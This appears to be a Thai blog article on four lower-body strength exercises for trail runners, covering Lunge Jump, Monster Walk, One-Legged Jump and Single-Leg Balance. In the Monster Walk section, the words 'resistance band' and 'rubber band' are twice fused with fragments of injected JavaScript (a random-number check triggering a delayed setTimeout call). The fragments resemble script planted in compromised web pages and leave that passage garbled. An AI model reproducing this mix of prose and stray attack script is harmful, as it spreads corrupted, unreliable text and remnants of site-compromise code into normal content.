ไม่อยากเป็นนักวิ่งขาอ่อน ไม่อยากติด DNF นักวิ่งจำเป็นต้องมีการฝึกกล้ามเนื้อหรือการฝึก Strength training ควบคู่กับการฝึกวิ่ง (cardio) ด้วย
1. กระบวนท่า Lunge Jump
ท่า Lunge Jump ดูเหมือนท่า Lunge ธรรมดา แค่มีการเพิ่มการกระโดดเข้าไป เป็นการฝึกร่างกายแบบที่เรียกว่า Functional bodyweight เป็นการใช้ประโยชน์จากน้ำหนักของร่างกายเราเองในการฝึก ผลที่ได้จากการฝึกท่านี้จะช่วยในเรื่อง การรักษาสมดุล และการบาลานซ์กล้ามเนื้อซ้ายขวา ช่วยเพิ่มพลังและสปีดให้กับกล้ามเนื้อช่วงล่าง ดดยเฉพาะกล้ามเนื้อก้นมัดใหญ่ (glutes) กล้ามเนื้อน่องขา (quads) และ กล้ามเนื้อส่วน hamstrings.
วิธีการทำ Linge Jump สามารถดูได้จากคลิปวิดีโอ ดังต่อไปนี้ครับ…
ท่า Lunge Jump เป็นท่าฝึก plyometric อย่างหนึ่ง เรียกได้ว่าผสม cardio กับ strength training ด้วยกัน จึงให้ผลดีในการเบริ์นไขมันเละสร้างกล้ามเนื้อกับพลังไปในตัว สำหรับการฝึกท่านี้นักวิ่งเทรลจะได้พลังและความแข็งแกร่งช่วงขา พร้อมกับความอึดด้วย
2. Monster Walk
ท่าการฝึกต่อมาคือ Monster Walk เป็นท่าที่ทำให้กล้ามเนื้อก้น สะโพกและเอวแข็งแรงขึ้น (Hips & Glutes) มีความยืดหยุ่นวิ่งไต่เขาได้มั่นคง จำเป็นต้องใช้อุปกรณ์ในการช่วยฝึกซ่อม นั้นคือ ยางยืด หรือที่เรียกว่า a resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and บ้างก็เรียก rubber bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
วิธีการฝึกสามารถดูได้ตามคลิป….
ทดลองฝึกข้างละ 10 ครั้งดูนะครับ จะกี่เซตก็ได้ แต่ต้องผสมผสานกับการฝึกท่าอื่นด้วยนะ ใครที่มีปัญหาเอวสะโพกอ่อนแรง วิ่งแล้วปวดก้น สับขาไม่ค่อยไหว ให้ทดลองฝึกท่า Monster walk ดู กล้ามเนื้อส่วน Glutes ตรงส่วน Gluteus medius จะได้เสริมความแข็งแรงขึ้น
3. One-Legged Jump
กระโดดขาข้างเดียว หรือ One-legged Jump เป็นการฝึกแบบ plyometric เช่นกัน ช่วยเบริ์น ได้ cardio และ strength training ในแวลาเดียวกัน การฝึกกระโดดขาเดียวช่วยเพิ่มความสมดุลให้กล้ามเนื้อซึกซ้ายขวา
เรามาดูคลิปการฝึกกันครับ…
ในการฝึกกระโดดแต่ละข้างจะทำให้กล้ามเนื้อขาเราแข็งแรงและรักาบาลานซ์ได้ดี นอกจากนี้เราสามรถขยับมาฝึกแบบกระโดดสองขาก็ได้นะ แต่ส่วนตัวการฝึกกระโดดขาเดียวจะทำให้เรารู้ว่าขาข้างไหนอ่อนและรักษาบาลานซ์ได้ดีไหม
4. Single-Leg Balance
ท่าสุดท้ายคือการยืนกระต่ายขาเดียว ซึ่งสามารถเริ่มฝึกจากการยืนบนพื้นเรียบธรรมดา มีการเคลื่อนไหวช่วงบน อย่างการหมุนแขนขา หรือการโน้มตัวไปข้างหน้าและหลังเพื่อเพิ่มความยากขึ้น จากนั้นเราอาจจะเริ่มปรับใช้เจ้าอุปกรณ์ bosu ball เพื่อฝึกการบาลานซ์
การฝึกยืนกระต่ายขาเดียวช่วยในการเสริมสร้างความแข็งแรงให้กับกล้ามเนื้อเท้า ข้อเท้า และการรักษาสมดุลเมื่อต้องใช้ขาข้างเดียว
ทั้ง 4 ท่าฝึกกล้ามเนื้อดังกล่าวจะเน้นช่วง Lower เป็นหลัก ทั้งนี้เพราะการวิ่งเทรลจะต้องมีการวิ่งไต่เขา วิ่งลงเขา พื้นผิวไม่ราบเรียบ จึงทำให้นักวิ่งทางราบต้องมีการฝึกจำลองเพื่อปรับให้กล้ามเนื้อพร้อมรับมือ
